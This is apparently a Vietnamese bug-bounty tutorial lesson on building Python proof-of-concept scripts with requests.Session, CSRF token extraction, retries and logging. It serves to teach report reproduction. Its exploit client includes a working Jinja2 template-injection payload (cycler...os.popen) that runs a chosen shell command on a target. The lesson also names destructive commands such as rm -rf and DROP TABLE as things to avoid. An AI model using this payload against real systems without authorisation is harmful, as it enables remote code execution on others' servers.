Viết Script PoC Tự Động Hóa: Ổn định và Độc lập
Quy chuẩn phát triển mã khai thác bằng Python: Sử dụng requests.Session, xử lý CSRF token động, bóc tách JSON và logging chuyên nghiệp.
TL;DR: Một báo cáo bảo mật chỉ thực sự có trọng lượng khi đi kèm một script Proof-of-Concept (PoC) hoạt động ổn định và có thể tái hiện chỉ bằng một lệnh chạy. Bài học này chia sẻ bộ khung (Boilerplate) viết script kiểm thử tự động bằng Python: cách quản lý phiên với requests.Session(), tự động bóc tách và nạp CSRF token / nonce từ HTML, xử lý cookie đa miền, và cấu hình cờ timeout/retry an toàn để không làm nghẽn máy chủ mục tiêu.
1. Tiêu chuẩn của một script PoC chuyên nghiệp là gì?
Khi bạn gửi một báo cáo bảo mật lên HackerOne, Bugcrowd hoặc gửi cho khách hàng trong một đợt Pentest, người đọc báo cáo là các kỹ sư bảo mật (Triagers / Security Engineers). Họ phải xử lý hàng chục báo cáo mỗi ngày.
Nếu script của bạn:
- Phụ thuộc vào cookie hardcode (hết hạn sau 15 phút).
- Bắt người kiểm tra phải mở DevTools copy CSRF token thủ công rồi dán vào code.
- Chạy lúc được lúc không do không xử lý timeout hoặc độ trễ mạng.
Báo cáo của bạn sẽ bị gán trạng thái "Needs More Info" hoặc tệ hơn là "Informative / Cannot Reproduce".
Một script PoC đạt chuẩn công nghiệp phải thỏa mãn 4 tiêu chí cốt lõi:
- One-Command Execution: Chỉ cần chạy
python3 poc.py --target https://example.comlà tự động chạy từ đầu tới cuối. - Dynamic State Management: Tự động đăng nhập bằng tài khoản test, tự bóc tách CSRF token từ response HTML và gắn vào header của request kế tiếp.
- Graceful Error Handling: In rõ lỗi ở bước nào (ví dụ: "Bước 1 đăng nhập thất bại: sai thông tin xác thực") thay vì quăng Exception đỏ lòm của Python.
- Non-destructive & Verifiable: Không xóa dữ liệu thật, không tạo vòng lặp vô hạn. Nếu khai thác RCE, chỉ thực thi lệnh đọc lành tính như
idhoặcwhoami.
2. Thiết kế Boilerplate Python: requests.Session và trích xuất token động

Dưới đây là cấu trúc mẫu (Boilerplate) được khuyến nghị cho mọi script PoC khai thác API/Web:
import argparse
import logging
import re
import sys
from bs4 import BeautifulSoup
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
# Configure structured logging
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
handlers=[logging.StreamHandler(sys.stdout)]
)
logger = logging.getLogger("PoC")
class ExploitClient:
def __init__(self, target_url, timeout=10):
self.target = target_url.rstrip("/")
self.timeout = timeout
self.session = requests.Session()
# Configure automatic retry for flaky networks
retries = Retry(
total=3,
backoff_factor=0.5,
status_forcelist=[502, 503, 504]
)
self.session.mount("https://", HTTPAdapter(max_retries=retries))
self.session.mount("http://", HTTPAdapter(max_retries=retries))
def step1_login_and_extract_csrf(self, username, password):
logger.info("Pha 1: Lay CSRF token va dang nhap...")
login_page_url = f"{self.target}/login"
try:
r = self.session.get(login_page_url, timeout=self.timeout)
r.raise_for_status()
except requests.RequestException as e:
logger.error("Khong the truy cap trang dang nhap: %s", e)
return False
# Extract CSRF token from HTML form using BeautifulSoup
soup = BeautifulSoup(r.text, "html.parser")
csrf_input = soup.find("input", {"name": "csrf_token"})
if not csrf_input or not csrf_input.get("value"):
logger.error("Khong tim thay csrf_token trong HTML form!")
return False
csrf_token = csrf_input["value"]
logger.info("Tim thay CSRF token: %s", csrf_token[:8] + "...")
# Perform login POST request
login_payload = {
"username": username,
"password": password,
"csrf_token": csrf_token
}
res = self.session.post(f"{self.target}/api/login", json=login_payload, timeout=self.timeout)
if res.status_code == 200 and res.json().get("authenticated"):
logger.info("Dang nhap thanh cong, cookie session da duoc luu tru.")
return True
logger.error("Dang nhap that bai voi ma HTTP: %d", res.status_code)
return False
def step2_trigger_exploit(self, payload_cmd):
logger.info("Pha 2: Gui payload khai thac...")
exploit_url = f"{self.target}/api/admin/template-preview"
# Inject payload into vulnerable parameter
data = {
"template": f"{{{{ cycler.__init__.__globals__.os.popen('{payload_cmd}').read() }}}}"
}
try:
res = self.session.post(exploit_url, json=data, timeout=self.timeout)
if res.status_code == 200:
logger.info("Khai thac thanh cong! Ket qua tra ve tu may chu:")
print("=" * 40)
print(res.text.strip())
print("=" * 40)
return True
logger.warning("Server tra ve ma loi: %d", res.status_code)
except requests.RequestException as e:
logger.error("Loi ket noi khi gui payload: %s", e)
return False
3. Quản lý ngoại lệ, Timeout và Logging từng pha tấn công
Tại sao requests.Session() lại quan trọng vượt bậc?
- Tự động bám Cookie: Mọi cookie mà server gửi về qua Header
Set-Cookie(nhưsession_id,remember_me) đều được Session lưu trữ và gửi tự động trong các request tiếp theo. Bạn không cần phải parse chuỗi cookie thủ công. - Connection Pooling: Session tái sử dụng các kết nối socket TCP đã mở sẵn (TCP Keep-Alive), giúp giảm thời gian chạy script từ vài chục giây xuống còn vài giây.
Tại sao trong script PoC, bạn luôn nên đặt tham số timeout=10 rõ ràng trong mọi hàm gọi request?
Mặc định trong thư viện requests của Python, nếu không đặt timeout, kết nối sẽ chờ vô hạn (hang indefinitely) nếu máy chủ mục tiêu bị treo hoặc drop gói tin mà không phản hồi. Điều này khiến script của người kiểm tra bị đóng băng mà không hiểu lý do.
Hàm main() tiếp nhận tham số dòng lệnh qua argparse:
def main():
parser = argparse.ArgumentParser(description="Automated PoC Script for Lab Target")
parser.add_argument("--url", required=True, help="Target URL (e.g. http://localhost:8000)")
parser.add_argument("--user", default="testuser", help="Testing username")
parser.add_argument("--pwd", default="testpass", help="Testing password")
parser.add_argument("--cmd", default="id", help="Command to execute for proof")
args = parser.parse_args()
client = ExploitClient(args.url)
if client.step1_login_and_extract_csrf(args.user, args.pwd):
client.step2_trigger_exploit(args.cmd)
else:
logger.error("Dung script do khau xac thuc that bai.")
if __name__ == "__main__":
main()
4. AI Copilot Slot: Prompt chuyển đổi cURL / Burp Request sang script PoC Python tự động
Khi bạn đã tái hiện được lỗi thủ công trên Burp Suite (Tab Repeater), việc chuyển đổi từng request sang mã Python có thể tốn 15-20 phút. Hãy dùng prompt sau để AI thực hiện công việc cơ học này:
Tôi có 2 request HTTP thô trích xuất từ Burp Suite Repeater sau:
--- Request 1 (GET /profile/edit) ---
GET /profile/edit HTTP/1.1
Host: target.internal
Cookie: session=ey...
--- Request 2 (POST /api/v1/update) ---
POST /api/v1/update HTTP/1.1
Host: target.internal
Content-Type: application/json
X-CSRF-Token: <dynamic_token>
{"email": "[email protected]"}
Hãy viết script Python hoàn chỉnh:
1. Dùng requests.Session() quản lý phiên.
2. Gửi Request 1, dùng BeautifulSoup hoặc Regex bóc tách token từ <meta name="csrf-token" content="...">.
3. Gán token vào Header X-CSRF-Token và gửi Request 2.
4. Cấu hình logging rõ ràng, xử lý timeout=10 và bắt ngoại lệ mạng.5. Quy tắc ứng xử và an toàn dữ liệu khi chạy PoC
- Không bao giờ dùng payload phá hoại: Tuyệt đối không dùng các lệnh như
rm -rf,DROP TABLE, sửa mật khẩu admin của người khác, hoặc gửi email spam số lượng lớn. - Chứng minh quyền tối thiểu cần thiết: Để chứng minh RCE, lệnh
id,whoami, hoặc đọc file tĩnh lành tính như/etc/hostnamelà hoàn toàn đủ thuyết phục. Để chứng minh SQLi, đọcSELECT VERSION()hoặc đếm số lượng dòng là đủ để nhận bounty. - Ghi lại Timestamp và IP kiểm thử: Đưa thông tin IP nguồn của bạn và mốc thời gian chạy script vào phần mô tả báo cáo để đội ngũ SOC của khách hàng có thể đối chiếu log dễ dàng.
6. Liên hệ các bài khác
- Bài trước: Nghệ thuật Exploit Chaining: Biến lỗi Low thành Critical RCE — Thiết kế logic chuỗi tấn công trước khi viết mã.
- Nền tảng tự động hóa: cURL & Python Automation cơ bản — Ôn lại cách gửi HTTP request bằng dòng lệnh và script cơ bản.
- Bài tiếp theo: Viết Báo cáo Bug Bounty & Pentest: CVSS, Impact và Remediation — Hoàn thiện tài liệu báo cáo để nộp cho khách hàng hoặc chương trình Bounty.
- Q1Tại sao nên dùng requests.Session() thay vì các hàm gọi requests.get/post đơn lẻ trong script PoC?
- Q2Tiêu chuẩn One-Command Execution trong script PoC có ý nghĩa gì?
- Q3Nếu không cấu hình tham số timeout trong thư viện requests, điều gì có thể xảy ra?
- Q4Tại sao trong báo cáo kiểm thử RCE chỉ nên chạy các lệnh như id hoặc whoami thay vì tạo tài khoản root mới?
- Q5Thư viện nào trong Python thường được dùng kèm với requests để bóc tách CSRF token từ trang HTML dễ dàng nhất?
Nghệ thuật Exploit Chaining: Biến lỗi Low thành Critical RCE
Bài tiếpViết Báo cáo Bug Bounty & Pentest: CVSS, Impact và Remediation
Bài này có giúp bạn hiểu bản chất không?
Bài này đáng gửi cho bạn học cùng?
Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.
Thảo luận & góp ý
Hỏi đáp về bài này